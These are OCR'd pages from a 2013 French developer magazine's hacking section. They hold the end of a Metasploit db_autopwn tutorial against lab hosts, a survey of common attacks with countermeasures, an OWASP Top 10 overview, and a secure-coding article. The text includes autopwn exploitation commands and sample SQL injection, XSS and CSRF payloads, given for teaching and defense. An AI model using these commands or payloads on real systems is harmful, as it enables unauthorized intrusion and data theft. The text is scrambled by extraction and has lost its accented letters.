[*] Command shell session 1 opened (192.168.138.128:42129 -> 192.
168.138.129:4444) at 2013-03-25 20:44:12 -0400
Bingo ! Le payload est excut et une session distante est notre
disposition.

msf> hosts -c address,state,svcs


msf> services
Ds que la liste de services est prsente dans la base, le plugin
db_autopwn vrifie quels exploits peuvent ouvrir une session sur les
serveurs distants :
msf> db_autopwn -t -p -R excellent

> Le grand final


Tout film d'action qui se respecte termine avec un feu d'artifice et de
grandes explosions. Et cet article n'est pas en reste !
Le module db_autopwn utilise le rsultat dun scan nmap et le compare avec la liste des exploits contenus dans metasploit. Les services vulnrables sont ainsi reprs et associs aux exploits
correspondants. La description du module est plutt claire :
Automatically exploit everything

Une fois reprs les exploits plus intressants, on lance lexcution


automatique de autopwn :
msf> db_autopwn -e -p -m (distcc_exec|tikiwiki)
Une fois lexcution de db_autopwn termine, on vrifie si notre audit
se termine avec happy ending ;-)

Installation de db_autopwn
A partir de la version 4 de msf, ce plugin nest plus livr. Par contre
il est toujours disponible sur github [7]
git clone https://github.com/neinwechter/metasploit-framework.git
git checkout autopwn-modules
cd metasploit-framework
./msfconsole -q
msf> load db_autopwn

msf > sessions


Active sessions
===============
Id Type
Information Connection
-- -------------- ---------1
shell unix
192.168.138.128:35704 ->
192.168.138.129:36756 (192.168.138.129)

Configuration de la base
Pour stocker les rsultats du scan nmap, metasploit utilise une base
postgreSQL. BackTrack 5 en a dj une embarque. Il suffit dexcuter la commande suivante partir de msfconsole pour sy connecter :
msf> db_connect msf3:4bfedfc2@localhost:7337/msf3dev

Autopwn
Tout est prt pour lancer nmap partir de msfconsole

Les ressources
[1] http://www.phrack.org/issues.html?id=14&issue=49
[2] http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/
[3] http://www.metasploit.com/download/
[4] https://github.com/rapid7/metasploit-framework
[5] http://www.backtrack-linux.org/downloads/
[6] http://cvedetails.com/cve/2004-2687/
[7] https://github.com/neinwechter/metasploit-framework/blob/autopwnmodules/plugins/db_autopwn.rb

msf> db_nmap -v -sV 192.168.0/24


Les rsultats du scan sont stocks dans la base postgresql et
consultables partir de msfconsole :

# Mario Loriedo,
Architecte Java/EE chez Zenika

Linformation permanente
Lactu de Programmez.com : le fil dinfo quotidien
La newsletter hebdo :
la synthse des informations indispensables.

Abonnez-vous, cest gratuit !

www.programmez.com
PROgrammez !

< 39 >

MAI

2013

34-50

20/04/13

01:42

Page 40

i hacking

Les diffrentes techniques de hacks


La scurit ne doit pas tre prise la lgre et il est important de faire
attention aux informations que vous recevez, car comme il existe de
nombreuses techniques pour infiltrer les terminaux, vous risquez de
retrouver vos donnes personnelles un peu partout. Cependant, vous
avez aussi disposition de nombreux outils pour vous protger.
es donnes numriques ont toujours
communiqu travers les rseaux
informatiques. Ce qui est encore plus
vrai aujourd'hui car le rseau s'est tendu
sur internet. L'internet est la source numro
un des hackers, car il est de plus en plus
facile d'obtenir des informations des internautes. Ils vont donc plus s'intresser aux
matriels, adresse IP, environnement, logiciels installs, etc, par rapport aux contenus
des informations publies sur les forums,
rseaux sociaux ou blogs.

dans les classements car elle peut tre utilise partir du Wifi et/ou du Bluetooth. Sa
cible favorite va toucher principalement les
entreprises ou des personnes qui grent
leurs propres rseaux internes accessibles
partir d'un nom de domaine, et donc visible
par tous.
Cette technique permet de faire croire que
l'ordinateur malveillant fait partie de votre

> Usurpation d'identit


Il s'agit d'une technique que vous connaissez
sans doute dj et qui s'appelle 'IP Spoofing'.
Mme si elle est ancienne, elle est revenue

Contre-mesure
La solution consiste sparer le rseau
interne (LAN) et la partie publique. Par
ailleurs, il faut configurer le serveur DNS en
imposant aux machines identifies de passer
par lui, comme ceci vous limitez les drives.

> Logiciel malveillant


Le logiciel malveillant (malware) est une
technique qui permet de faire passer des
informations travers un de vos logiciels,
sur votre ordinateur pour en rcolter des
donnes vous concernant. Par la suite, elles
pourront tre diffuses, utilises et publies
ailleurs. Ces logiciels se prsentent sous diffrentes formes et vous pouvez les appeler :
trojans, chevaux de troie, vers, spywares,
adwares, virus... Ils ont tous des noms diffrents car ils utilisent des techniques qui leur
sont propres, dont le rsultat final est de
rcuprer des informations prives. Pour
vous protger, vous pouvez utiliser un antivirus, un anti-spyware et un firewall. Et les
trois associs, vous permettent d'viter les
malwares.

permet de faire la relation entre le nom de


domaine d'un site web (www.votreSite.com)
qui est le nom de la machine vers l'IP de
celle-ci. Cette technique touche aussi le
rseau intranet car une machine externe se
connecte travers un serveur DNS dans le
but de pousser et d'accepter le ou les intrus.

clickjacking

Ghostery

parc d'adresses en modifiant son adresse IP


et par consquent cette machine sera autorise faire toute sorte de requtes.

Contre-mesure
La solution de protection oblige configurer
correctement son routeur d'entre pour viter que des ordinateurs externes puissent
se faire passer pour une machine interne.
De plus, vous pouvez limiter la dure du
cache pour obliger un nettoyage de votre
parc informatique en automatique, ce qui
limite les risques.

> Clickjacking
Le clickjacking est une attaque qui passe
principalement par le navigateur car celle-ci
incite l'internaute cliquer un endroit de
l'cran, qui va gnrer une action non voulue. Le principe s'utilise comme une feuille de
calque, c'est--dire qui laisse passer assez
d'informations, tout en restant interactive.
Les actions peuvent tre trs varies car le
clickjacking a pour but de rcuprer des donnes personnelles, mais aussi prendre le
contrle de votre ordinateur ou des priphriques.

Contre-mesure

> DNS Spoofing


L'objectif de cette technique est de rediriger
l'internaute vers un autre site web (souvent
pirate), sans qu'il s'en aperoive. Pour cela,
la personne malveillante regarde ce protocole car il est faiblement scuris. Le DNS

Pour viter ce type d'action vicieuse, vous


pouvez scuriser votre navigateur en utilisant l'extension Ghostery qui fonctionne sur
l'ensemble des navigateurs. Son rle est de
bloquer le script et les diffrentes actions
possibles pouvant tre excutes votre

Force brute

dns-spoofing

PROgrammez !

< 40 >

MAI

2013

34-50

20/04/13

01:42

Page 41

i hacking
insu. De plus, il repre les scripts comme
Google Analytics, SiteMeter, Google Adsense, OpenAds, Wordpress Stats...

phishing

> Le mail bombing


Il s'agit d'une attaque qui cible les emails et
principalement votre messagerie. L'attaque
a pour but de vous envoyer un trs gros volume de messages pour saturer votre bote de
rception. L'impact va toucher les fournisseurs d'accs (FAI) et votre messagerie car
vous ne pourrez plus recevoir de messages
pendant le temps du nettoyage.

mail-bombing
de un, celui-ci souvent ne suffit pas. De plus,
pensez mettre jour ce logiciel si l'opration ne se fait pas toute seule, pour bnficier des protections les plus rcentes.

> Attaque par force brute

Contre-mesure
La solution pour viter ce genre de problmes, consiste d'employer des emails diffrents suivant les secteurs d'activits :
rseaux sociaux, emails pro, sites marchands, actualits... Cette opration est un
peu lourde cause de la multitude d'emails,
mais devient ncessaire pour viter ce
genre d'attaque. Toutefois, les fournisseurs
dtectent les expditions qui utilisent cette
technique et par consquent bloquent la
source. Cependant, si l'exploit est possible, il
peut tre sanctionn par le code pnal.

> Phishing
Le phishing (hameonnage) est une attaque
qui passe principalement par les emails. Son
but est de tromper l'internaute travers une
action malveillante pour obtenir des informations confidentielles le concernant, par
exemple ses identifiants (login et mot de
passe), des informations bancaires, rseaux
sociaux, vente en ligne, etc... Ces informations rcoltes permettent dusurper l'identit de la personne pour voler toutes sortes
d'informations ou excuter diffrentes
actions. Si par erreur, vous cliquez sur ce
genre de message, il est important de vrifier l'URL de votre navigateur pour tre certain d'tre sur le bon site web.
Pour ne pas voir ce genre de message arriver dans votre messagerie, vous devez possder un logiciel anti-spam, mme si vous
faites confiance votre logiciel qui en poss-

Il s'agit d'une mthode pour trouver un mot


de passe ou une cl. Ce type d'attaque permet de tester une une, toutes les combinaisons possibles pour trouver une valeur
cache ou un mot de passe. Il va combiner
diffrents moyens pour tester en simultan
des jeux de clefs et vrifier la rsistance.

Contre-mesure
Pour vous protger et viter ce genre d'attaque, 2 mthodes existent pour vous scuriser :
Tout d'abord du cot de l'internaute, c'est :
Allonger votre mot de passe avec un minimum de caractres
Utiliser une ponctuation diffrente avec
des chiffres, majuscules, minuscules, symboles
Bien sr, du ct des sites internet, ils doivent mettre en place :
Un minimum de caractres de saisie dans
les formulaires
La mise en place d'un nombre d'essais
possibles
La mise en place d'un captcha
Exemple : Vous pouvez essayer de vrifier la
rsistance de cryptage d'un mot avec diffrentes mthodes d'orthographe, comme
ceci :
programmez : 9 heures
Programmez : 1 an
Progr@mmez : 14 ans
Pr0gr@mm3z : 58 ans

breuses annes. Cependant, il est toujours


possible de trouver ce type de rseau. Si
vous lutilisez, il faut imprativement passer
sur du cryptage plus volu comme WPA2.
Bien entendu, la scurit d'un rseau sans fil
oblige possder quelques connaissances
spcifiques. Cependant, d'autres protocoles
sont disponibles, principalement du cot du
hard.

Contre-mesure
La premire solution mettre en place,
c'est de dsactiver ce rseau si vous ne possdez aucune machine qui se connecte en
mode sans fil (wifi). Si ce n'est pas le cas, il
est prfrable de mettre le rseau le plus
lev.

> Les pare-feu


Les pare-feu (appel aussi Firewall) sont une
barrire importante de protection. Cependant, ils sont les premiers subir leurs
rsistances au niveau software. Pour passer
les barrires de votre pare-feu, il est possible de scanner l'ensemble des ports pour
trouver ceux qui sont ouverts et non filtrs.
Pour vous protger, il est important d'identifier vos ordinateurs grce l'IP et de bloquer
tous les autres. Par ailleurs, un pare-feu
matriel est une solution ne pas ngliger.

> Conclusion
Dans cet article, nous vous avons montr
un chantillon des types d'attaques les plus
courantes. Les techniques de hacks sont
toutes diffrentes et voluent constamment.
Vous ne devez pas perdre de vue que mme
si une nouvelle protection apparat, celle-ci
possdera tt au tard une faille. C'est pourquoi il est important de bien mettre jour
les diffrents logiciels que vous utilisez.
# Christophe Villeneuve
Lead technique pour Neuros, auteur du livre PHP
& MySQL-MySQLi-PDO, Construisez votre application , aux ditions ENI. Rdacteur pour WebRIVER,
membre des Teams DrupalFR, AFUP, LeMug.fr,
Drupagora, PHPTV.

Si vous souhaitez leffectuer par vous-mme,


vous pouvez aller voir le site suivant :
http://howsecureismypassword.net/

> Le crackage de clef WEP


Il s'agit d'un protocole permettant de protger votre rseau sans fil de type Wifi. Normalement, la protection par clef WEP ne
devrait plus tre utilise depuis de nom-

PROgrammez !

< 41 >

MAI

2013

malware

34-50

20/04/13

01:42

Page 42

i hacking

Le top des attaques web 2013


Tous les 3 ans, OWASP (Open web Application Security Project) publie son rapport
mondial des failles de scurits web les plus rpandues. L'dition 2013 est en cours
de publication (actuellement en RC1), avec un classement des 10 premiers risques
que vous encourez, et il montre une nouvelle fois l'volution des attaques du moment
et aussi, les grands classiques des failles de dveloppement !
me si vous pensez que les failles web ne vont pas vous
toucher, vous devez y rflchir, car un moment ou un
autre, vous aller subir des attaques dont vous vous seriez
bien pass. Le rsultat montre que ce secteur est toujours en
constante volution.
Comme tout classement, certaines failles de scurit font leur
entre, d'autres progressent, chutent ou sont stables comme le
montre la reprsentation graphique. Pour dcrypter ce tableau,
nous allons lexaminer point par point.

> La sortie
de tableau
La seule sortie de cette anne, concerne la faille Communications
non scurises .
Il s'agit de la protection insuffisante de la couche transport, c'est-dire que les applications sont souvent mal authentifies, chiffres et
protges au niveau de la confidentialit des informations, surtout
dans les rseaux de donnes dites 'sensibles'.

PROgrammez !

> Le classement !
Injection
Les attaques par injection sont stables depuis le dernier classement
il y a 3 ans, mais tiennent toujours le haut du classement.
Cela montre que les sites web ont encore beaucoup de travail pour
dtrner ce type d'attaque. L'injection est une grande famille, qui
regroupe l'ensemble des attaques par injection, telles que SQL, OS,
le code, les connexions non fiables (par exemple avec l'utilisation du
LDAP)... Ces donnes hostiles de l'attaquant peuvent tromper l'interprteur en excutant des commandes imprvues ou accder des
donnes non autorises.
Si vous ne mettez pas de filtres contrls sur les donnes entrantes,
vous avez un risque d'injection sur la requte SQL que vous utilisez
comme ceci :
$query = "SELECT * FROM utilisateur WHERE id=$_REQUEST ('id');
Une personne peut accder au contenu de la table 'utilisateur' s'il
envoie une URL de cette forme :

< 42 >

MAI

2013

34-50

20/04/13

01:42

Page 43

i hacking
Rfrences directes non scurises un objet

http://votreSite.com/user.php?id=' or '1'='1

Violation authentification
La violation authentification est une attaque qui progresse depuis
son apparition et c'est en toute logiquequon la retrouve en deuxime
position. Cette famille regroupe l'authentification et la gestion de session car elles ne sont pas souvent mises en uvre correctement. Le
rsultat est de compromettre les mots de passe importants, les
jetons de session ou encore l'identification envers d'autres personnes.
Par ailleurs, il est important de dfinir une dure de validit, car si
vous ne l'effectuez pas, vous risquez d'tre confront un libre
accs aux donnes.
Exemple : Vous vous identifiez sur un de vos comptes et cet ordinateur est accessible plusieurs personnes, vous fermez le navigateur. Une autre personne ouvre celui-ci et peut rcuprer votre
session en cours sans s'identifier.

XSS (Cross site Scripting), un trs grand classique !


Les failles XSS perdent une place par rapport l'ancienne dition,
mais restent dans le trio de tte des attaques les plus rpandues.
Les attaques XSS se produisent chaque fois qu'une application traite des donnes non fiables et l'envoie un navigateur sans chapper
ou en absence de validation adapte. Le risque concerne des
attaques travers le navigateur de l'internaute avec une modification de ses sessions ou encore denvoyer celui-ci vers un site malveillant. C'est pourquoi, il est important de s'assurer que toutes les
donnes soumises par un utilisateur soient correctement valides
avant d'tre incluses dans la page destine aux clients.
Exemple 1 : sans filtre
http://votreSite.com/index.php?message=<script>alert('Programmez');
</script>
<?php
echo $_GET['message']."<br>";
?>
Rsultat : [Fig.A].
Si vous protgez le contenu de la manire suivante :
<?php
echo htmlentities($_GET['message'])."<br>";
?>
Rsultat : [Fig.B].

Les rfrences directes un objet frlent le pied du podium des


attaques les plus rpandues, puisque cette attaque est en 4e position et reste stable par rapport 2010. Il s'agit d'un objet dont un
lment est visible par tout le monde.
Cette rfrence est marque en clair sans aucune protection de
cette clef. Cependant, elle peut tre aussi expose une rfrence,
ou un objet comme un fichier ou un rpertoire. Si vous ne spcifiez
pas de protection, vous risquez de voir des personnes accder ces
donnes, alors qu'elles ne devraient pas pouvoir le faire.
Affiche le contenu des informations d'un compte utilisateur partir
d'une requte prpare :
$query = "SELECT * FROM user WHERE id = ?";
req = cnx.prepareStatement($query , request ('id') );
resultats = req.execute( );
A partir de l'url qui se prsente de la faon suivante :
http://votreSite.com/compte.php?id=5
Une personne peut modifier la valeur et obtenir des informations non
autorises.

Configuration incorrecte
La configuration incorrecte effectue une progression par rapport
la prcdente dition car elle se retrouve en 5e position.
Ce type d'attaque est associ plus exactement lors de :
Ralisation de projets
Utilisations de frameworks / CMS
Associations toutes sortes de serveurs (web, bases de donnes,
plateforme)
L'ensemble de ces paramtres doit tre correctement dfini et protg. C'est pourquoi, les attaques possibles touchent les fichiers de
connexion ou de paramtrage pour faire fonctionner votre application. Par consquent, lors d'un dploiement, il est important de
scuriser les fichiers les plus sensibles.
Gnralement, lorsque vous vous appuyez sur une application gnrique (framework, CMS, ERP, CRM...), ces fichiers ne sont pas toujours protgs, et c'est vous de raliser cette opration.
Si vos dossiers et sous-dossiers peuvent tre visibles, alors n'importe qui peut consulter et rcuprer leur contenu. Pour cela, vous pouvez crer un fichier index.php avec le contenu suivant :
<?php
header("Location: ../index.php");
?>
L'exemple montre une redirection vers le dossier au-dessus, ainsi,
vous retrouvez la page index de votre site web.

Exposition de donnes sensibles

Fig.A

Fig.B

PROgrammez !

< 43 >

MAI

Ce type d'attaque s'intitulait en 2010 Stockage cryptographique non scuris , mais continue sa progression
dans le classement pour arriver en 6e position.
Ces donnes sensibles peuvent tre reprsentes sous
diffrentes formes. Elles touchent principalement les
applications car elles font appel des donnes que vous
seul pouvez connatre. Par exemple vos cartes de crdits, vos identifiants d'authentification. Le risque c'est

2013

34-50

20/04/13

01:42

Page 44

i hacking
qu'on vous vole ces donnes importantes ou qu'on vous les modifie
votre insu. En rsum, vous risquez de perdre votre identit sur le
net et une autre personne va raliser des oprations malhonntes
votre place.

l'URL affiche les informations suivantes :


http://votreSite.com/paiement?montant=1500&destinataire=1230459
Une personne peut envoyer une image et changer le destinataire
lors d'un paiement
<img src="http://votreSite.com/paiement?montant=1500&destinataire
=autre# width="0" height="0" />

Exemple :
<?php
echo "MD5 : ".md5 ('programmez')."<br>";
echo "SHA1 : ".sha1 ('programmez')."<br>";
echo "Hash 512 : ".hash ('sha512','programmez')."<br>";
?>

Utilisation de composants connus vulnrables

Rsultat :
MD5 : 141b63d75fc2b2852687cbc66469e93c
SHA1 : f35cce0a3e30c8b444f7340b6ef26ee7fdd658c2
Hash 512 : 1b1a42f2e00b7935500f953bca0271500713a3471a45919cef
197c91879fcb59a5b7a91e1d7ebc54cb1b952dce941f988481eead3352641
27cd7c23721ae4407

C'est la seule entre de ce classement 2013 et qui arrive directement en 9e position. Il est important d'en prendre conscience, car
de plus en plus de projets comme :
Des bibliothques
Des librairies
Des frameworks / CMS
Dautres modules externes
les utilisent et sont maintenus par diffrents contributeurs impliqus
dans ces projets. Si vous ne suivez pas leur actualit, vous risquez
de subir des attaques travers eux et le rsultat peut provoquer la
perte de donnes graves ou la prise de contrle de votre serveur
par un tiers.

Manque de scurit au niveau des rles


Il s'agit de la deuxime catgorie qui change de nom car avant elle
s'appelait Manque de restriction d'accs URL . Ce type d'attaque
continue sa progression vers le haut pour se positionner au 7e
niveau des attaques les plus dangereuses. Ce type d'attaque s'intresse principalement aux applications web ou sites qui proposent
des rles diffrents. Quel que soit votre projet, les droits d'accs
une page ou une fonctionnalit passent principalement par une
URL. Toutes les provenances vers une page doivent tre vrifies au
niveau de la fonction avant d'afficher le contenu dans l'interface utilisateur, c'est--dire que certaines pages pourront tre vues par certaines personnes si celles-ci possdent les droits. Or, les applications
doivent effectuer les mmes vrifications de contrle d'accs sur le
serveur lors de chaque accs. Si vous ne vrifiez pas les rles, certaines personnes seront en mesure d'accder des fonctionnalits
non autorises, juste travers les formulaires de votre projet.
Exemple :
http://votreSite.com/projet/contenu
http://votreSite.com/projet/admin_contenu
Si aucun test n'est effectu au niveau de l'authentification, une personne peut accder des pages non autorises

Falsification de requte intersite (CSRF)


En chutant de 3 places, il s'agit de la plus grosse chute du classement, pour arriver en 8e position. Il s'agit d'une attaque de type
CSRF, qui oblige ouvrir une session dans le navigateur de la victime
ayant pour but d'envoyer des requtes HTTP, cookies ou diffrentes
informations d'authentification.
Cette technique oblige le navigateur gnrer des demandes supplmentaires pour trouver par exemples des failles de scurits.
Les risques sont trs varis, mais vous pouvez retenir que la victime
peut avoir des droits modifis sans avoir rien demand, ou la forcer
excuter n'importe quel genre d'action puisque celle-ci sera autorise. Si vous souhaitez modifier des informations personnelles et que

Redirections non valides


Il s'agit de l'attaque qui ferme ce classement. Elle reste 10e. Ce type
d'attaque est li des applications web qui redirigent les internautes
vers d'autres pages de destination. Si vous ne validez pas la provenance de ces pages, les attaques peuvent vous diriger vers des sites
malveillants. Ce lien redirige vers une page admin.php et ne montre
aucun contrle des redirections
http://votreSite.com/index.php?page=admin.php

> Conclusion
Nous remercions OWASP pour ce rapport rgulier et mondial, car il
permet de dresser la situation des risques de scurit applicatifs
web les plus critiques.
Grce lui, les socits peuvent prendre conscience des nombreux
risques qu'il ne faut pas prendre la lgre. OWASP est un organisme neutre, indpendant et propose diffrentes solutions pour aider
les professionnels djouer ces diffrentes attaques. L'ensemble de
ces informations est disponible sur le site officiel.
Site officiel OWASP :
http://www.owasp.org
Rapport 2013rc1 :
http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20%202013%20-%20RC1.pdf
Rapport 2010 en franais :
http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20%202010%20French.pdf
Tous les rapports :
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
# Christophe Villeneuve
Lead technique pour Neuros, auteur du livre PHP & MySQL-MySQLi-PDO,
construisez votre application , aux ditions ENI. Rdacteur pour WebRIVER,
membre des Teams DrupalFR, AFUP, LeMug.fr, Drupagora, PHPTV.

Tous les jours : lactu et le tlchargement www.programmez.com


PROgrammez !

< 44 >

MAI

2013

34-50

20/04/13

01:42

Page 45

i hacking

La scurit des sites web en question !


Les crateurs de sites web sont de plus en plus proccups par la scurit de leurs
sites. Une peur plutt fonde si lon regarde les informations relatives au piratage des
sites web des grandes structures internationales.
iratage et scurit sont deux pices dun mme puzzle, et
ainsi on ne peut pas parler de la scurit des applications web
sans voquer la communaut OWASP (Open Web Application
Security Project). Bien que lOWASP soit trs connu dans le milieu de
la scurit, il lest trs peu, voire pas du tout chez les dveloppeurs,
ceci tant d, avant tout, un problme de sensibilisation.
Lobjectif principal de cet article est de faire un tour dhorizon des vulnrabilits les plus critiques qui ont touch les sites web ces dernires annes, ainsi que les risques et menaces qui en dcoulent.
Avant de rentrer dans le vif du sujet, faisons un panorama des diffrentes croyances rpandues.

Les firewalls, SSL et le petit cadenas


ne sont pas efficaces pour contrer les
tentatives de hacking !
Les applications web coutent gnralement sur le port 80, cest-dire la couche Application du modle OSI. Les firewalls, eux, protgent jusqu la couche rseau du modle OSI.Les attaques sont donc
tout fait transparentes pour les firewalls, mme si il existe bien videmment des firewalls, comme les WAF (Web Application Firewall),
qui protgent jusqu la couche Application.

Les gnies de linformatique ne sont pas


les seuls pouvoir exploiter les failles
des sites web !
La sphre regorge, en effet, de ressources permettant tout le
monde de pirater des sites web en partant des scanners de vulnrabilits gratuits, jusquaux bases de donnes remplies de code dexploitation des vulnrabilits connues. Il suffit de faire un tour du ct
de exploit-db.org pour se rendre compte quel point il est facile de
dtecter et exploiter les failles de scurit.
Les sites web peuvent tre programms de diffrentes manires et
avec divers langages. En fonction des choix techniques, le dveloppeur doit garder en tte, minima, les vulnrabilits les plus critiques (tablies par lOWASP dans son top 10) quil est tenu dviter
dans son code et donc de dvelopper son site en contournant les
risques applicatifs.
titre dexemple, un formulaire dauthentification permet de restreindre laccs une zone protge dans un site web, mais sans

prendre en compte les techniques de dveloppement scuris, ce


formulaire devient une passoire. Pour illustrer avec un exemple,
choisissons le PHP, langage le plus utilis sur la toile.
Le code suivant demande linternaute de fournir un nom dutilisateur et un mot de passe valides pour pouvoir accder lespace protg du site : [Fig.1 et 2]
Certains se demanderont si le code ci-dessus fonctionne, dautres
vont chercher le moyen de contourner lauthentification. Le script
login.php ne respecte pas lun des principes fondamentaux du codage scuris : toute donne externe est potentiellement dangereuse !.
En effet, le script dauthentification rcupre le login et le password
de lutilisateur sans vrification pralable. Le dveloppeur pense,
sans doute navement, que lutilisateur sadaptera au site en fournissant deux chanes de caractres bien formes.
Tant que le code ne vrifie pas si les variables $_POST['login']et
$_POST['pass'] ne contiennent que les caractres alphanumriques
attendus par lapplication, notre script reste vulnrable une technique dattaque trs redoutable connue sous le nom dInjection SQL.
Selon lOWASP, une faille dinjection, telle que SQL, OS et LDAP, se
produit quand une donne non fiable est envoye un interprteur
(le moteur SQL dans notre exemple) en tant qulment dune commande ou dune requte. Les donnes hostiles de lattaquant peuvent duper linterprteur afin de lamener excuter des
commandes fortuites ou accder des donnes non autorises.
Pour exploiter cette faiblesse, lattaquant peut insrer des caractres spciaux dans le
champ login de
manire changer la
logique de la requte
SQL [Fig.3].
Si on tente de sauthentifier, le traitement de la requte ct serveur sera :

Select * From users where login='Admin';-- and password=


'mauvais_mdp';
Rsultat : on russit sauthentifier en tant quutilisateur Admin .
Pour aller encore plus loin, et si on na pas connaissance dun nom
Fig.2

Fig.1

Fichier index.php contenant le formulaire html

Fig.3

Fichier login.php qui contient le script PHP traitant la demande dauthentification


PROgrammez !

< 45 >

MAI

2013

34-50

20/04/13

01:42

Page 46

i hacking
dutilisateur valide, on peut se connecter en tant que abcd' or 1=1 :-Le traitement de la requte ct serveur sera :
Select * From users where login='abcd' or 1=1;-- and password=
'mauvais_mdp';
Rsultat : on russit sauthentifier sans connatre ni nom dutilisateur ni mot de passe.
SQL tant un langage part entire, lexploitation dune faille dinjection SQL offre beaucoup de possibilits au pirate notamment : lusurpation didentit, le contournement de rgles de gestion et
laltration de donnes. Dans le pire des cas, lattaquant utilise cette
vulnrabilit pour invoquer des procdures stockes spciales de la
base de donnes qui lui permettent de prendre le contrle total du
serveur hbergeant la base.
La meilleure solution pour empcher cette attaque consiste utiliser
une API scurise qui permet de se passer de linterprteur ou qui
fournit une interface de paramtrage des requtes. Voici quelques
recommandations qui dpendent de la technologie utilise :
Java EE
.NET
PHP
Hibernate
SQLite

UtiliserPreparedStatement()avec les variables lies.


Utiliser les requtes paramtres comme SqlCommand()
ou OleDbCommand() avec des variables lies.
Utiliser lAPI PDO avec des requtes paramtres fortement types
(via bindParam()).
Utiliser useQuery() avec des variables lies.
Utiliser sqlite3_prepare() pour crer un objet Statement.

Exemple de code Java scuris en utilisant une requte paramtre : [Fig.4]


En plus de linjection SQL, il existe dautres vulnrabilits tout aussi
critiques. Comment sassurer donc que votre site web est scuris ?
Les dveloppeurs peuvent sappuyer sur plusieurs rfrentiels de
scurit tels que :
OWASP ASVS (Application Security Verification Standard) ;
Le Testing Guide et le Code Review Guide de lOWASP ;
Le Top 10 de lOWASP, Top 25 du SANS et les exigences PCI-DSS ;
Voici une liste non exhaustive des vrifications effectuer :
Authentification et gestion de la session :
- Vrifier que tous les champs du mot de passe n'affichent pas le
mot de passe lorsqu'il est entr, et que l'auto-compltion est bien
dsactive sur ces champs.
- Vrifier que tous les contrles d'authentification sont effectus
du ct serveur.
- Vrifier que la session est invalide quand l'utilisateur se dconnecte.
- Vrifier que l'id de session est chang la connexion et la
reconnexion.
Validation des entres/sorties et manipulation des paramtres :
- Vrifier que tous les checs de validation d'entre rsultent dans
un rejet de l'entre ou un assainissement.
- Vrifier qu'un type d'encodage des caractres, tel l'UTF-8, est

spcifi pour toutes les sources d'entres.


- Vrifier que toutes les donnes non sres, qui doivent tre
envoyes un interprteur SQL, utilisent une interface paramtre, une dclaration prpare (preparedstatements), ou qu'elles
sont chappes correctement.
Gestion des donnes sensibles et cryptographie :
- Vrifier que les mots de passe ne sont pas stocks en clair dans
la base de donnes.
- Vrifier que tous les nombres alatoires, noms de fichiers alatoires, GUID alatoires, et chanes de caractres alatoires sont
gnrs par un module cryptographique, dont le gnrateur de
nombres alatoire est approuv et dont les valeurs alatoires ne
peuvent tre prvues par un attaquant.
- Vrifier quaucune donne sensible nest code en dur.
- Vrifier que les modules cryptographiques utiliss par l'application sont valids par le standard FIPS 140-2 ou un standard quivalent. (voir http://csrc.nist.gov/groups/STM/cmvp/validation.html).
Gestion des erreurs et journalisation :
- Vrifier que l'application n'envoie pas sur la sortie des messages
d'erreurs ou des traces de pile contenant des informations sensibles (incluant les id de session et les informations personnelles)
qui pourraient aider un attaquant.
- Vrifier que chaque vnement de journalisation inclut :
1. Un timestamp provenant d'une source de confiance.
2. Un niveau de gravit de l'vnement.
3. Une indication si c'est un vnement li la scurit (si mlang d'autres journaux).
4. L'identit de l'utilisateur l'origine de l'vnement (s'il y en a un)
5. L'adresse IP source de la requte associe l'vnement.
6. La russite ou lchec de l'vnement
7. La description de l'vnement.
Scurit du protocol HTTP :
- Vrifier que chaque rponse HTTP contient un en-tte ContentType spcifiant un type d'encodage de caractres sr (par ex.
UTF-8).
- Vrifier que le drapeau HTTPOnly est utilis sur tous les cookies
qui n'ont pas besoin d'tre accds par JavaScript.
- Vrifier que les redirections n'incluent pas de donnes non valides.
Il est galement ncessaire de prendre en compte la scurit sur
l'ensemble du processus de dveloppement (expression de besoin,
conception, implmentation, dploiement).
Pour aller plus loin, il faut consulter le site de lOWASP qui constitue
une mine dinformations pour les dveloppeurs qui souhaitent coder
des applications de moins en moins vulnrables. Les publications
majeures de lOWASP sont :
Le TOP 10 des vulnrabilits applicatives
Le Guide de lauditeur/du testeur
Le Code Review Guide
Le guide de conception dapplications Web scurises
LApplication Security Verification Standard (ASVS)
La FAQ de linscurit des Applications Web
# Tarik El Aouadi
Responsable scurit applicative chez LEXSI

Fig.4

PROgrammez !

< 46 >

MAI

2013

20/04/13

01:42

Page 47

i hacking

Attaque dune connexion HTTPS


par gnration dynamique de certificats
Lorsquon se trouve sur un rseau
inconnu, on peut penser quune connexion
en HTTPS suffit garantir la
confidentialit. Il existe pourtant des
mthodes permettant de capturer le trafic
dun rseau alors que celui-ci est crypt.
Dans larticle qui suit, nous verrons
comment seffectue une telle attaque par
substitution de certificat, et comment sen
protger, en prenant comme exemple une
application Android.
> Reproduire lenvironnement cible avec
une machine virtuelle
Il existe deux moyens de reproduire lattaque. La premire est davoir
une copie conforme de lenvironnement cible : un terminal Android,
un point daccs WiFi (quil soit ouvert ou protg), et un routeur
plac entre ce point daccs et la connexion Internet. Si le cot dune
telle installation reste modique, il est nanmoins possible de sen
passer en utilisant un simple PC.
Pour cela, plutt que lmulateur Android, nous utiliserons la machine virtuelle AndroVM, qui nous permet davoir une interface rseau
ddie pour faire le pont entre le systme Android et le systme dexploitation hte. Nous aurons ainsi un contrle bien plus prcis sur le
trafic rseau gnr par notre VM. Les manipulations qui suivent
sont effectues sur un systme sous Ubuntu, mais il est possible de
les adapter dautres distributions
Linux. AndroVM se prsente sous la forme dune image au format
OVA, tlcharger sur www.androvm.org. On pourra ensuite limporter
facilement dans VirtualBox. Avant de la dmarrer, il faut configurer
linterface rseau qui nous servira de pont. Nous allons avoir besoin
des paquets bridge-utils, dnsmasq et iptables dUbuntu, installer si
ce nest pas dj fait :
sudo apt-get install bridge-utils dnsmasq iptables
Nous allons ensuite ajouter une interface supplmentaire dans le
fichier /etc/network/interfaces :
iface vnet0 inet static
address 172.16.0.1
netmask 255.255.255.0
bridge_ports none
bridge_maxwait 0
bridge_fd 1
up iptables -t nat -I POSTROUTING -s 172.16.0.0/24 -j MASQUERADE
down iptables -t nat -D POSTROUTING -s 172.16.0.0/24 -j MASQUERADE
Les deux dernires lignes up et down servent automatiser la
configuration dun NAT permettant daccder la connexion Internet

PROgrammez !

D.R.

34-50

travers cette interface. Notez que sous Ubuntu, lajout dinterfaces


dans ce fichier peut entrer en conflit avec Network Manager. Si au
